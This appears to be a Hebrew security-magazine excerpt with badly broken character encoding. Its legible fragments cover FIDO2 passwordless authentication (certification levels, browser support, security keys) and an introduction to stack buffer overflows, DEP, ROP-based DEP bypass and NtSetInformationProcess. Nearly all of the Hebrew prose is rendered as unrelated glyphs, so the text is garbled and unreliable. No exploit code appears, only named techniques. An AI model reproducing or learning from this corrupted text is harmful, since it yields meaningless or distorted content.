˸˰ˡˣˢ Push ˪˧˰˲˸˷ ˸˞ ˸˧˧˴˵˧˪˲˞ Hypr ˭ˣ˲˪˦˟ ˡ˧˧ˮˢ ˢ˧˪˞ ˞ˣˢ ˭˧ˤ˧ ˸˰˧˟˦ ˰˟˴˞ x˞ ˧ˣˢ˧ˤ ˫˧ˮ˲ 

ύ˰ˣ˴˧˟˟ ˸ˣ˪ˣ˰˲ ˸ˣ˷˧ˠ˶ ˷˶ˡ˸ ˫ˠ ˸ˮˤˢ ˢˬ˯˧˯ ό˶˷˞˸˷ ˸˶˷˪ Hypr ˰˴˟˪ ˸˞ ˨˧˪ˢ˸ ˸ˣˢˡˤˢˢ ˪ˣˬ 

˶˸˞ˢ Φ˪˩˸ϥ˯ ˫˞ ˸ˣ˧ˢ˪ ˢˮ˩ Σ˶˟˩ ˫ˣ˧ˢ ˶˷˲˞ ˸ˣ˷˰˪ ˸˞ ˢ˪ˣ˰˲ˢ ˮˢϦ˪ ˫ˮ˧˥˟ ˸ˣ˰˴ˬ˞˟ Google 

˸ˣ˲ˣ˪˥ˣ ˸ˣ˲˯ˣˮ ύˣˬ˩ ˣˮ˞˶ˢ˷ ˵˶˲˟ ˭ˣ˷˞˶ˢ ˪˷ ˶ˬ˞ˬˢ όˤ˞ ˵˲˯ ˢˬ˩ Hypr ˣ˵˧ˤ˥˧ Φ˪˩˟ ˢ˶˵ˬ Σ

˸ˣ˶˥˸ ˢˤ ˶˟ˡ ˟ˣ˦ ˵ˣ˷˪Φ  
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˶ˣ˶˟ ˫˪ˣ˩˪ ˧˩ ˸ˬ˶ ˢ˥˦˟˞ˢ ˪˷ ˫˧˰˴ˬ˞ ˫˧˯˯ˣ˟ˬ ˢ˶ˬˣ˥ ˢˢˣ˟ˠ ˸˧˸ˣ˰ˬ˷ˬ ˫˧˰˴ˬ˞ˬ ˫˧˯˯ˣ˟ˬ ˢˮ˩ˣ˸ Φ

˭ˣˠ˶˞ FIDO ˭˧˥˟ˬ ˭˧˟ ˭˲ˣ˞ ˷ˣˬ˧ˬˢ ˪˷ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ ˸ˣˬ˶ˣ ˢ˥˦˟˞ˢ ˞ˣˢ˷ ˵˲˯ˬ Σ˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ 

ˢˮˣˬ˸˟ ˢ˞˟ˢΥ 

 

 :˶ˣ˵ˬ]levels-certification-https://fidoalliance.org/certification/authenticator[ 

˸ˣˬ˶ ˢ˥˦˟˞ˢ ˸ˣˮˣ˷ˢΥ 

¶ L1 π ˧˰˴ˬ˞ ˧ˣˢ˧ˤ ˨ˬ˸ˮ˷ ˰Ϧ˧ ˸ˮ˧˵˸ FIDO2 ˨˞ ˵˲˯ˬ ˸˞ ˸ˬ˶ ˢˮˠˢˢ ˸˧˯˧˯˟ˢ ˶˸ˣ˧˟ Φˢˬ˶˟ xʕ 

˸ˣˢˡˤˢˢ ˸˯˯ˣ˟ˬ ˟ˣ˶˪ ˪˰ ˫ˣ˷˧˧ ˡ˴ ˧˷˧˪˷ ˭˵˸ˣˬ˷ ˪˰ ˶˧˷˩ˬ ˶˞˪ˣ˪˯ˢ x˞ ˪˰ ˟˷˥ˬˢ ˡ˧˧ˮˢ Σ

˶˷˲˞ˬˣ ˧˰˴ˬ˞˪ ˡ˧˧ˮˢ ˷ˬ˷˪ ˧˰˴ˬ˞˩ ˧ˣˢ˧ˤ ˨˶ˣ˴˪ ˢ˯˧ˮ˩ ˸ˣ˶˧˷˪ ˧ˮ˞˷ ˭˧˧ˮˣ˰ˬ ˸ˣˢˡˤˢ˪ ˣ˪ˣˬ Φ˶˥˞ˬ 

˞˪ˣ ˰ˣˡ˧ ˭˲ˣ˞ ˷ˣˬ˧ˬˢ ˪˷ ˫ˣ˷˧˧ˢ ˡ˴˧˩ˣ ˭˩˧ˢˣ ˫˧˶ˬ˷ˮ ˸ˣ˥˸˲ˬˢ ˶˧˷˩ˬ˟ ˡ˧˧ˮˢ ύ˫˞ˢ ˟πtrust zone 

ˣ˞ ˭ˣ˶˩˧ˤ˟ ˷˧ˠˮ ό˸ˬ˶ ˢˮˠˢˢ ˪˷ ˸ˣˮˣ˶˸˲ мL ˸˟˷˥ˮ ˸˧˯˧˯˟ Σ˸ˤ˩˶˸ˬˣ ˢˮˠˢ˟ ˪ˣˬ ˸ˣˤ˥˸ˢ 

˸˲˧˵˸ˣ ˳ˣ˶˰ ˸˶ˣ˷˵˸ˢ ˭˧˟ ˸˶˷ˢ ˭˲ˡ˲ˡˣ ˥ˣ˵˪ˢ Φ˭˟ˣˬ˩ ˫ˠ˷ ˸ˬ˶ ˢˮˠˢˢ ˸˧˯˧˯˟ˢ ύ1Lό ˢ˲˧ˡ˰ ˪˰ 

˧ˮ˲ ˷ˣˬ˧˷ ˸ˣ˞ˬ˯˧˯˟ ˨˶ˣ˴˪ ˸ˣˢˡˤˢ Φ 

¶ нL π ˸˷˶ˣˡ ˫ˣ˷˧˧ ˶˷ˣ˞ˬ ύTA π Trusted application ό˞˪˪ ˸ˣ˪˟ˠˢ ˪˰ ˭˲ˣ˞ ˸˶˧ˬ˷ ˸ˣ˥˸˲ˬˢ 

˟˥˶ˬˣ ˢ˴˶ˢˢ ˭ˣ˶˩˧ˤ˟ ˪˷ ˧˰˴ˬ˞ ˸ˣˢˡˤˢˢ ύuncertified trusted execution environment ό˨˩˟ˣ 

˸˶˷˲˞ˬ ˢˮˠˢ ˪ˣˬ ˸˧˟˶ˬ ˸ˣ˲˧˵˸ˢ ˢˬ˶˟ ˸˧˟˧˦˵˧˪˲˞ˢ ˡ˴˟ ˥ˣ˵˪Φ 

¶ оL π ˸ˬ˶ ˢˮˠˢˢ ˢˢˣ˟ˠˢ ˶˸ˣ˧˟ ˢˡ˰ˣˮ˷ ˸˸˪ ˢˮ˰ˬ ˫ˠ ˪ˣˬ ˢ˲˧˵˸ ˸˧ˤ˧˲ ˪˷ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ Φˢˬ˶˟ 

ˣˤ ˢ˷˰˧ ˷ˣˬ˧˷ ˢ˶ˬˣ˥˟ ˸˧ˡˣ˰˧˧ ˧˰˴ˬ˞˩ ˸ˣˢˡˤˢ ˫˰ ˧ˮˣˮˠˮˬ Anti tampering ˫˧ˮ˟ˣˬ ˣ˶˷˲˞˧˷ 

ˢ˶˧ˬ˷ ˪˰ ˸ˣ˧ˡˣ˯ ˸ˣ˥˸˲ˬˢ ˫ˠ ˶˷˞˩ ˧˰˴ˬ˞ ˸ˣˢˡˤˢˢ ˣˬ˴˰ ˪˲ˮ ˧ˡ˧˪ ˱˵ˣ˸ ˪˰˟ ˸ˣ˪ˣ˩˧ ˢ˶˧˵˥ 

˸ˣˢˣ˟ˠ Φ˫ˮ˷˧ ˫˧ˮ˶˴˧ ˫˧ˡˡˣ˟ ˪˷ ˧˰˴ˬ˞ ˸ˣˢˡˤˢ ˫˧ˡˬˣ˰˷ ˸ˣ˷˧˶ˡ˟ оLΦ 

https://fidoalliance.org/certification/authenticator-certification-levels
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ˣˬ˧˷ ˟˪ ˸ˬ˶˷ ˢ˥˦˟˞ˢ ˞˪ ˸˯˥˧˧˸ˬ ˭˲ˣ˞˪ ˸ˣˢˡˤˢˢ ˪˷ ˷ˬ˸˷ˬˢ ˪ˣˬ ˧˰˴ˬ˞ ˸ˣˢˡˤˢˢ ύˢ˷˵ˢ Σ

˸˧˶˦ˬˣ˧˟ x˞ Pincode όˢ˪˞ ˢ˧˴˶ˠ˦˧˞˪ ˭˧˟ ˫ˣ˷˧˧ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ ύAuthentication application όˢ˶ˬˣ˥˪ 

ˢ˧˪˰ ˞ˣˢ ˪˰ˣ˲ Φ˶ˬˣ˪˩ Σ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧˰˴ˬ˞ ˸ˬ˶˟ нL ˢˬˠˣˡ˪˷ ˞˪ ˨ˣˬ˸˧ ˸ˣˢˡˤˢ˟ ˸˧˶˦ˬˣ˧˟Φ 

 

˱ˣ˵˧˷ ˸ˮˣˬ˸ ˟˴ˬ 

˨˶ˣ˴˪ ˰ˣ˴˧˟ ˸ˣˢˡˤˢ ˸˯˯ˣ˟ˬ FIDO2 ˫˧˷˶ˡˮ о ˫˧˟˧˩˶ˬ ˣ˩ˬ˸˧˷ ˨˧˪ˢ˸˟ π ˭˲ˡ˲ˡ ύClient browser Σό

˶˷˫˧˸ ˪˷ ˧ˮ˸ˣˮ ˫˧˸ˣ˶˧˷ ύRelaying Party servers ό˧˰˴ˬ˞ˣ ˸ˣˢˡˤˢˢ ύAuthenticator Φό˵˶˲˟ ˢˤ ˶ˣ˵˯ˮ 

˸˞ ˵ˬˣ˰ ˢ˶˧ˡ˥ˢ ˪˷ ˸ˣˮˣ˶˸˲ FIDO2 ˫˧˵ˣˣ˷˪ ˪˷ ˸˷ˣ˪˷ ˫˧˟˧˩˶ˬˢ Φ 

˫˧ˮ˲ˡ˲ˡ π ˦˰ˬ˩ ˪˩ ˫˧ˮ˲ˡ˲ˡˢ ˫˧ˬ˧˧˵ˢ ˵ˣ˷˟ ˫˧˩ˬˣ˸ ˫ˣ˧˩ ˸˧˧ˠˣ˪ˣˮ˩˦˟ FIDO2 Φ˶˸˧˪ ˵ˣ˧ˡ Σ˫˧ˮ˲ˡ˲ˡˢ 

˫˧˩ˬˣ˸ ˪ˣ˵ˣ˦ˣ˶˲˟ Webauthn ˞ˣˢ˷ ˵˪˥ˢ ˧˦ˮˣˣ˪˶ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ FIDO2 ˸ˣˢˡˤˢ˪ ˪ˣˬ ˸˶˷ˢ ˭˸ˣˮ 

˸ˣ˶˧˷ˢΦ 

˶ˣ˧˞˟ ˞˟ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˸ˣ˞˯˶ˠˢ ˸ˣ˩ˬˣ˸˷ ˸ˣˢˡˤˢ˟ ˸˯˯ˣ˟ˬ FIDO ˪˩˟ ˭˲ˡ˲ˡΥ 

 

 

˶ˣ˵ˬ]Υ mcaniuse.coώ 

˭˸˧ˮ ˸ˣ˞˶˪ ˷πChrome ˨ˬˣ˸ ˸ˣˢˡˤˢ˟ нFIDO ˪˥ˢ ˞˯˶ˠˬ ст xπEdge ˨ˬˣ˸ ˪˥ˢ ˞˯˶ˠˬ му Φ˭˲ˡ˲ˡ 

Firefox ˞ˣˢ ˪˩˩ ˢ˞˶ˮˢ ˭˲ˡ˲ˡˢ ˧˸ˣ˰ˬ˷ˬˢ ˡ˧˥˧ˢ ˫ˠ˷ ˸ˣ˞˯˶ˠ˟ ˸ˣ˷ˡ˥ ˨ˬˣ˸ ˸ˣˢˡˤˢ˟ нFIDO ˭˲ˣ˞˟ 

˧˵˪˥ ˡ˟˪˟ ύ˰˟˴ ˫ˣ˥ x˞ ˨˧˞ ˞˪˷ ˫˧˞˶ˣ˵ ˰˟˴˪ ˢˤˢ Φό 

˶˥˞˪ ˫˧˵ˬ˰˸ˬ˷ ˸ˬ˧˷˶˟ ˸ˣ˶˟˥ˢ ˸ˣ˟˧˩˶ˬ˷ ˸˞ ˸ˣˡˠ˞˸ˢ FIDO ˢ˩˧ˬ˸ˢ ˢˬ˧˷˶ˬˢ ˟πFIDO ˵ˣ˷˟ 

˫˧ˮ˲ˡ˲ˡˢ ˢˮˮ˧˞ ˢ˰˧˸˲ˬ π Google ύChrome ΣόApple ύSafari όπxMicrosoft ύEdge ό˸ˣ˶˟˥˷ ˟πFIDO Σ

˸ˣ˦˪ˣ˷ ˡ˧˟ ˢˬ˶ ˵ˣ˷˟ ˫˧ˮ˲ˡ˲ˡˢ ˸ˣ˟˧˟˯˪ ˟ˣ˷˥ˬˢ ˧˸˧˧˟ˢ ˪˧˧˟ˣˬˢˣ Σˢ˞˶ˮˣ ˪˰˷ ˸ˮˬ ˞˪˷ ˶˞˷ˢ˪ 

˶ˣ˥˞ˬ ˫ˠ ˫˧ˮ˲ˡ˲ˡ ˢ˴ˣ˲˸˟ ˢ˩ˣˬˮ ˶˸ˣ˧ ˣ˶ˢ˧ˬ ˳ˬ˞˪ ˨ˣˬ˸˪ˣ ˭˵˸˟ Φ 

˫ˣ˩˧˯˪ Σ˦˰ˬ˩ фр҈ ˫˧ˮ˲ˡ˲ˡˢˬ ˪˴˞ ˧˷ˬ˸˷ˬ ˢ˴˵ˢ ˫˧˩ˬˣ˸ ˫ˣ˧˩ ˸ˣˢˡˤˢ˟ ˸˯˯ˣ˟ˬ FIDO2 Φ 

https://caniuse.com/
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˧˰˴ˬ˞ ˸ˣˢˡˤˢ π ˧˲˩ ˣˮ˧˞˶˷ Σ˸˞ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ ˭˸˧ˮ ˵˪˥˪ ˪πн ˸ˣ˴ˣ˟˵ Υ˧˰˴ˬ˞ ˧ˣˢ˧ˤ ˧˯˯ˣ˟ˬ ˢˮ˩ˣ˸ 

˫˧˰˴ˬ˞ˣ ˧˯˯ˣ˟ˬ ˢ˶ˬˣ˥ Φ 

˧˰˴ˬ˞ ˧ˣˢ˧ˤ ˧˯˯ˣ˟ˬ ˢˮ˩˸ ˫˧ˬ˧˧˵ Σ˫˧˸˧˰˪ ˸ˣ˟ˣ˶˵ Σ˭˲ˣ˞˟ ˢˮ˟ˣˬ ˭ˣ˲˪˦˪ ˧˶˞˪ˣ˪˯ˢ x˞ ˟˷˥ˬ˪ ˡ˧˧ˮˢ Φ˪˟˞ 

˫ˠ ˷˩˶ ˧˰˴ˬ˞ ˸ˣˢˡˤˢ ˧˸˶ˬˣ˥ ˢˣˣ˷ ˪˩˪ ˷˲ˮ π ˢˬˠˣˡ˪ Υ˸ˣ˪˰ ˸˶ˬˣ˥ Thetis FIDO2 Security ˸ˡˡˣ˟ ˫˰ 

˶ˣ˟˧˥ USB ˸ˣˢˡˤˢˣ ˸˯˯ˣ˟ˬ ˸˰˧˟˦ ˰˟˴˞ ˞˧ˢ 50$-35$ ˟πAmazon Φ˧˰˴ˬ˞ ˧ˣˢ˧ˤ ˧˩ˬˣ˸ FIDO2 ˞˪˪ 

ˢ˩˧ˬ˸ ˸ˣˢˡˤˢ˟ ˸˧˶˦ˬˣ˧˟ ύ˫˧˷˶ˣˡ˷ ˵˶ ˢ˷˵ˢ ˸˧˯˧˯˟ ˪˰ sπTokken ˫˧˟˷˥ˮ ˭˟ˣˬ˩ ˸ˣ˥˲ ˫˧˥˦˟ˣ˞ˬ ό

˭˸˧ˮ ˷ˣ˩˶˪ ˫ˠ ˟π$мр Φ 

˫˧ˮ˪˩˪˩ ˣ˩˧˶˰ˢ ˸˞ ˵ˣ˷ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ ˧˯˯ˣ˟ˬ FIDO ˩˟π850 ˭ˣ˧˪ˬ ˶˪ˣˡ ˢˮ˷˟ ˸ˮ˷˟ нлнм Σ˶˷˞˩ ˵ˣ˷ˢ 

ˡ˧˸˰ ˪ˣˡˠ˪ ˪πу ˡ˶˞˧˪˧ˬ ˶˪ˣˡ ˢˮ˷˟ ˡ˰ нлом ύ˪ˣˡ˧ˠ ˪˷ ннΦу҈ ˸ˣ˶˧˩ˬ˟ ˪˩˟ ˢˮ˷ ΦόΗˢ˩˧ˬ˸ ˢ˪ˣˡˠ 

˸ˣ˶˧˩ˬ˟ ˢ˧ˣ˲˴ ˪˟˵˸ˢ˪ ˫˧ˮˣˠ˶˞ˬ ˣ˷˶ˡ˧˷ ˸ˣˢˡˤˢ ˢ˵ˤ˥ ˪ˣˬ ˫˧˸ˣ˶˧˷ ˭ˮ˰˟ ύ˭˟ˣ˶˷ ˦˪˥ˣˬˢ ˨ˬˣ˸ ˭˵˸˟ ό

ˢ˩˧ˬ˸ˣ ˢ˷˧ˠ˟ ˫˧˸ˣ˶˧˷˪ ˫˧ˮ˲ ˫˧˧ˮˣˠ˶˞ ˢˡˣ˟˰˟ ˵ˣ˥˶ˬ Φ 

˫˧˸ˣ˶˧˷ ˫˧˩ˬˣ˸ ˦ˮ˶˦ˮ˧˞˟ π ˭˞˩ ˣˮ˰ˠˢ ˵˪˥˪ ˟ˤ˩˞ˬˢ Φ˫ˣ˧˩ Σ˫ˮ˷˧ ˦˰ˬ ˧ˮ˸ˣˮ ˸ˣ˶˧˷ ˸˷˶˟ ˫˧˩ˬˣ˸˷ 

˸ˣˢˡˤˢ˟ FIDO2 Φ˶˞˸˟ www.dongleauth.com ˣˮ˷˧ ˟˵˰ˬ ˶˥˞ ˢ˩˧ˬ˸ ˟πFIDO ˫˧˶˸˞˟ ˫˧˦˪ˣ˟ 

ˢ˵ˣ˪˥˟ ˫˧˶ˣ˦˵˯˪ Υ˫˧˧˯ˮˮ˧˲ Σ˸ˣ˸˷˶ ˸ˣ˧˸˶˟˥ Σ˫˧˶˸˞ ˫˧˧˸˪˷ˬˬ Σ˧˸ˣ˶˧˷ ˭ˮ˰ ˡˣ˰ˣ Φ 

˫˧˶˸˞ ˫˧˦˪ˣ˟ ˫˧˩ˬˣ˸˷ ˟πFIDO ΥAWS ΣAzure ΣGCP ΣGmail ΣDropbox ΣFacebook ΣSaleforce Σcoinbase Σ

Github ΣGitlab ΣPaypal ΣTesla ΣWordpress xπTwitterΦ 

˸ˣ˶ˬ˪ ˸˞ˤ Σ˫˸˧˟˶ˬ ˦˪˥ˣˬˢ ˪˷ ˧ˮ˸ˣˮ ˸ˣ˶˧˷ˢ ˦ˮ˶˦ˮ˧˞˟ ˫ˮ˧˞ ˫˧˩ˬˣ˸ ˸ˣˢˡˤˢ˟ нFIDO ύ˟ˣ˶˪ˣ ˪˪˩ ˫ˮ˧˞ 

˫˧˶˷˲˞ˬ ˸ˣˢˡˤˢ 2FA ό˪˪˩˟ ˢˤ ˸˧˟˶ˬ ˧˶˸˞ ˫˧˵ˮ˟ˢ Σ˸ˣ˞˧˶˟ˢ ˪˷ˬˬˢˣ Φˢˬ˩ ˫˧˸ˣˬ˧˞ ˫˸˞ ˫˧˷˶ˡˮ 

˶ˣ˟˰˪ ύ˸˧˟˧˦˪ˣ˲˧ˡό ˪˧˟˷˟ ˰˴˟˪ ˢ˶˟˰ˢ ˸˧˞˵ˮ˟ ˭ˣ˟˷˥ˬ ˷ˬ˸˷ˬˢ ˵ˮ˟˟ ˫˩˪˷Κ ˢˬ˩ ˭˶˵˟ ˸ˣ˰˵˷ˢˢ 

ˢ˧˯ˮ˲ˢˣ Κˢˬ ˰ˠˣˮ˟ ˶˲˯ˬ˪ ˫˧˸ˣˬ˧˞ˢ ˨˶ˡ˟ ˰ˡ˧ˬ˪ ˧˞ˣ˲˶ˢ ˫˩˪˷ Κ˫˟ˣ˶ ˞˪ ˫˧˟ˣ˶˵ ˫˷˧˧˪ Auth0 ˤ˞ 

˸ˣ˲˴˪ ˪πFIDO2 Κ˫˸˵˥˴ˢ ˧˸ˣ˞Φ 

 

  

https://www.amazon.com/-/he/MB000386/dp/B0821TDLP4/ref=sr_1_6?crid=31O2RQT0561L5&keywords=fido2+biometric&qid=1668421221&sprefix=fido2+biometri%2Caps%2C299&sr=8-6
https://www.futuremarketinsights.com/reports/fido-authentication-market
https://www.dongleauth.com/
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˫ˣ˩˧˯ 

˟˵˰ ˯˪˧˩˞ ˪˷ ˸ˣˢˡˤˢ ˸˯˯ˣ˟ˬ FIDO2 ˞ˣˢ ˶˥˟ˬ˟ ˪˟ˠˣˬˢ ˪˷ ˧ˮ˸ˣˮ ˸ˣ˶˧˷ ˫˧˩ˬˣ˸ˢ x˟ Φˣˤ ˢ˰˲ˣ˸ 

ˣˮ˞˷ ˫˧ˮ˧ˬ˞ˬ ˢ˞˶ˮ˷ ˸˩˪ˣˢ ˸ˬ˴ˬ˦˴ˬˣ ˫˰ ˸˶˟ˠˢ sπcyber maturity ˢ˧˧˷˰˸˟ ˢ˧˧˪˰ˢˣ ˶˧˥ˬ˟ 

ˢ˧ˬ˶˲ˢ ˸ˣ˶˟˥ˬ ˥ˣ˦˧˟ ˸ˣ˶˟˥˪ ˞˪˷ ˣ˴ˬ˧˞ ˷ˣˬ˧˷ ˟π2FA ˟xπFIDO2 ˦˶˲˟ Φ˭˟ˣˬ˩ ˡ˴ˢˬ˷ ˧ˮ˷ˢ Σ˭˧˞ ˵˲˯ 

˧˩ ˸˧˧˪˰ ˵ˤˮˢ ˸ˣ˲˵˸ˬˬ ˣ˪˥ˢ˷ ˸˞ ˭˩˶ˡ ˬπstolen credentials ˧ˣ˷˰ ˳˧˞ˢ˪ ˸˧˸ˣ˰ˬ˷ˬ ˸˞ ˨˧˪ˢ˸ˢ Φ

˧ˮ˟˞ ˭˧˧ˮ˧˟ˢ ˪˷ ˦˶ˡˮ˦˯ˢ ˶˟˩ ˢ˲ Σ˸˰˩ ˶˞˷ˮ ˵˶ ˸ˣˮ˟˪ ˭ˢˬ ˸˞ ˢˬˣ˥ˢΦ 

˭˞˩ ˢ˰˧ˠˬ ˫ˣ˧˯˪ ˢ˶ˡ˯ˢ ˸˟ ˧ˮ˷ ˫˧˶ˬ˞ˬ ˪˰ FIDO2 Φ˫˰ ˪˩ ˸ˣ˧˷˦˧˵ˢ Σˣˮ˥ˮ˞ ˫˧ˮ˧ˬ˞ˬ ˶˟ˣˡˬ˷ 

ˢ˧ˠˣ˪ˣˮ˩˦˟ ˢˡ˧˸˰˷ ˸ˣˮ˷˪ ˰˧˲˷ˢ˪ˣ ˪˰ ˱ˣˮ ˸˥˦˟˞ ˰ˡ˧ˬˢ ˪˷ ˸ˣ˶˟˥ ˫˧˪˞ˣˡ˧˟˧ˡˮ˧˞ˣ ˫˧˟˶ Φˢ˟˧˯ˢˬ 

ˢ˦ˣ˷˲ˢ ˣˤˢ Σˢ˧ˢ ˟ˣ˷˥ ˣˮ˪ ˭˧˩ˢ˪ н ˫˧˩ˬ˯ˬ ˫˧ˮˣ˷ ˞˷ˣˮ˟ π ˨ˬ˯ˬ ˧˪˪˩ ˭˧˧˲˞˸ˬ˷ ˢˮ˟ˢ˟ ˸˧˯˧˯˟ ˞˪˟ˣ 

˦˰ˬ ˧˲ˣˮ˲ˮ ˫˧˧ˡ˧ Σ˨ˬ˯ˬˣ ˧ˮ˷ ˣ˪˞˪ ˫˧˴ˣ˶˷ ˷˧ˠ˶ˢ˪ ˫ˬ˴˰˟ ˨˧˞ ˫˯˵ˢ ˸ˬ˞˟ ˡ˟ˣ˰ Φ˫˧ˣˣ˵ˬ ˫˸˥˵˪˷ 

ˣˢ˷ˬ ˷ˡ˥ J 

 

˪˰ ˫˧˟˸ˣ˩ˢ 

˭˸ˮˣˢ˧ ˯˟˵˪˞ Σ˭˟ ну Σ˶˵ˣ˥ ˸˥˦˟˞ ˰ˡ˧ˬ ˢ˶˟˥˟ ˞˪ ˢˮ˦˵ ˞˪ˣ ˸˧˦˶˲ Φ˟˟ˣ˥ ˫˧˦ˮ˪ˣ˵ˣ˯ Σˢˡˣ˯ ˢ˲˵ˣΦ 

 ˶˟ ˭ˣ˪˞˰˪˯ ˞˪ˣ ˢˮ˦˵ ˞˪ ˢ˶˟˥˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˪ˢˮˬ .ˢˬ˞ˣ ˢ˧˶ˣ˞ ,˪˪ˢ ,˪ˬ˶˩ ˪˷ ˞˟˞ˣ ˶ˡˢ˪ ˧ˣ˷ˮ ,

.˸˧˦˶˲ 

https://il.linkedin.com/in/jonathan-elkabas-20636b20a
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˭ˣ˯˶ˠ ˶ˣˡ ˸˞ˬ 

 

˰˵˶ ˳˪ˬˣˬ 

˶ˬ˞ˬ˟ ˞˪ ˟˧˥˶˞ ˪˰ ˢˬ ˞˧ˢ ˸˷˪ˣ˥ buffer overflow x˞ ˨˧˞ ˢ˞˶ˮ ˪ˣ˴˧ˮ ˧˯˧˯˟ ˢ˪˷ ˪˰ sπstack Σ˨˩ 

˫˧˪˧˥˸ˬ˪˷ ˣˮ˧ˮ˟ˬ π ˳˧˪ˬˬ ˶ˣ˟˰˪ ˢ˶˴˵˟ ˪˰ ˸ˣˢˬ ˢ˷˪ˣ˥ˢ Φ˧˷ ˡˣ˶ ˟˸˩ ˶ˬ˞ˬ ˱˧˵ˬ ˞˷ˣˮ˟ Σˢ˞˧˶˵ ˪˷ 

˶˲˯ˬ ˫˧ˡˣˬ˰ˢ ˫˧ˮˣ˷˞˶ˢ ˢ˶ˣˬ˞ ˵˧˲˯ˢ˪ Φ˱˯ˣˮ˟ Σˢ˦˧˪˷ ˟-x86 Assembly xπwindbg ˞˪ ˵˧ˤ˸ J 

 

ˢˬˡ˵ˢ 

˪ˣ˴˧ˮ ˧˯˞˪˵ ˪˷ ˸˷˪ˣ˥ buffer overflow ˪˰ s-ǎǘŀŎƪ ˯˯˟˸ˬ ˪˰ ˷ˣˬ˧˷ ˢ˦˧˪˷˟ ˟-ǎǘŀŎƪ ˧ˡ˩ ˟˸˩˷˪ ˸˞ 

-sreturn address ύ˨˩ˣ ˫ˠ ˸˞ s-instruction pointer ό˸˶˟˰ˢ˪ ˸ˬ˧˶ˤ ˢ˴˧˶ˢ ˪˞ ˡˣ˵ ˧ˮˣˡˤ x˞ shellcode Σ

˫ˠ˷ ˞ˣˢ π ˫˵ˣˬˬ ˪˰ s-ǎǘŀŎƪ Φ˭˞˩ ˢ˞˟ ˧ˡ˧˪ ˧ˣ˦˧˟ DEP ύ˶ˬ˞ˬ˟ ˯˥˧˧˸˞ ˪-Hardware DEP Φό 

˪ˣˡˠ˟, DEP ύ˶ˣ˴˧˵ ˪πdata execution preventionό ˞˧ˢ ˢ˧˴ˠ˦˧ˬ ˸˰ˮˣˬˢ ˢ˴˶ˢ ˫˧˶ˣˤ˞ˬ ˭ˣ˶˩˧ˤ˟ ˞˪˷ 

˫˧ˡ˰ˣ˧ˬ ˨˩˪ Σ˸ˬˠˣˡ ˫˧˶ˣˤ˞ ˣˬ˩ s-ƘŜŀǇ sx-ǎǘŀŎƪ ˫˧ˡ˰ˣ˧ˬ˷ ˶ˣˬ˷˪ dataύ Φ˷ˣˬ˧ˬˢ ˰˴˟˸ˬ ˪˰ ˧ˡ˧ ˢ˩˧ˬ˸ 

˪˷ ˡ˟˰ˬˢ ˟-NX bit ˟˷ˣ˧˷ ˟-page table Φόˢˡ˧ˬ˟ sx-Instruction Pointer ˰˧˟˴˧ ˪˰ page ˭ˬˣ˯˷ ˩πNon 

Executable π ˵˶ˤ˧˸ access violation Φ˨˩ Σ˪ˣ˴˧ˮˢ ˧˯˞˪˵ˢ ˪˷ ˸˴˶ˢ ǎƘŜƭƭŎƻŘŜ ˸˧ˮ˯˥ˬˢˬ ˰ˮˬˮ Φ 

˶ˬ˞ˬ˟ ˢ˞˶ˮ ˡ˴˧˩ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˱ˣ˵˰˪ Σˣ˞ Ϧ˪˦˟˪ Ϧ˸˞ ˢ˰˲˷ˢˢ ˪˷ 59t ˶ˣ˟˰ ǇŀƎŜ ˧˲˧˴˲˯ ˸ˣ˰˴ˬ˞˟ 

ROP  ˶ˣ˴˧˵)˪˷ Return Oriented Programmingό ˳˧˶ˢ˪ˣ ˪˩˟ ˸˞ˤ shellcode ˣˮ˥˪˴ˢ˷ ˟ˣ˸˩˪ ˪-ǎǘŀŎƪ Φ

˧˶˞ˮ˧˟ˢ ˰˧ˠ˲ˢ ˢ˧ˢ˧ ˭ˠˮ ˣ˧ˡˣ˞ ²ƛƴŘƻǿǎπ˧ ˵ˬ˰˸ˮˣ ˨˧˪ˢ˸˟ ˸˷ˬ˷ˢ ˢ˷˪ˣ˥ˢ ˸˶˧˴˧˪ ˳˟ˣ˵ Ǉƭŀȅƭƛǎǘ Ϧ˧ˮˣˡˤ Ϧ

˪˴ˮ˧˷ ˸˞ ˸ˣ˰˧ˠ˲ˢ ˸˴˶ˢ˪ ˡˣ˵Φ 

  

https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf
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DEP 

˸˴˵ ˢ˧˶ˣ˞˸ 

DEP ˢ˪ˣ˩˧ ˪ˣ˰˲˪ ˢ˰˟˶˞˟ ˫˧˟˴ˬ: 

 
ώhttps://docs.microsoft.com/en-us/windows/win32/memory/data-execution-preventionϐ 

˭˸˧ˮ ˠ˲ˮ˵˪ ˸˞ ˸˩˶˰ˬˢ ˳ˣ˶˪ ˡ˥˞˟ ˫˧˟˴ˬˢ ˪˰ ˧ˡ˧ ˢ˧˴˲ˣ˞ˢ NoExecute κ-˟boot.ini ύ˟-Windows XP ό

ˣ˞ bcdedit.exe ύ˟-Windows Vista ˢ˪˰ˬˣό Φ˦˟˧ˢ ˭˧˧ˮ˰ˬ ˞ˣˢ ˷-DEP ˪ˣ˩˧ ˸ˣ˧ˢ˪ enabled x˞ disabled ˶˲ 

˨˧˪ˢ˸ ˭ˬˤ˟ ˢ˴˧˶ˢ Φˢˮ˧˦ˣ˶ˢ ˸˷ˬˬ˷ ˸˞ s-feature ˢˤˢ ˞˧ˢ LdrpCheckNxCompatibility ˟-ntdll.dll Φ

˞˧ˢ ˸˰˴˟ˬ ˶˲˯ˬ ˸ˣ˵˧ˡ˟ ˧ˡ˩ ˰ˣ˟˵˪ ˫˞ˢ DEP ˨˧˶˴ ˸ˣ˧ˢ˪ enabled ˶ˣ˟˰ ˨˧˪ˢ˸ˢ Σ˸˞˶ˣ˵ˣ ˪-

NtSetInformationProcess ˫˞˸ˢ˟ύ Φ-sfeature ˡ˰ˣˮ ˸˧˥˲ˢ˪ compatibiliy issues Φό˶ˣˤ˥ˮ ˫˧˟˴ˬ˪ ˪˷ 

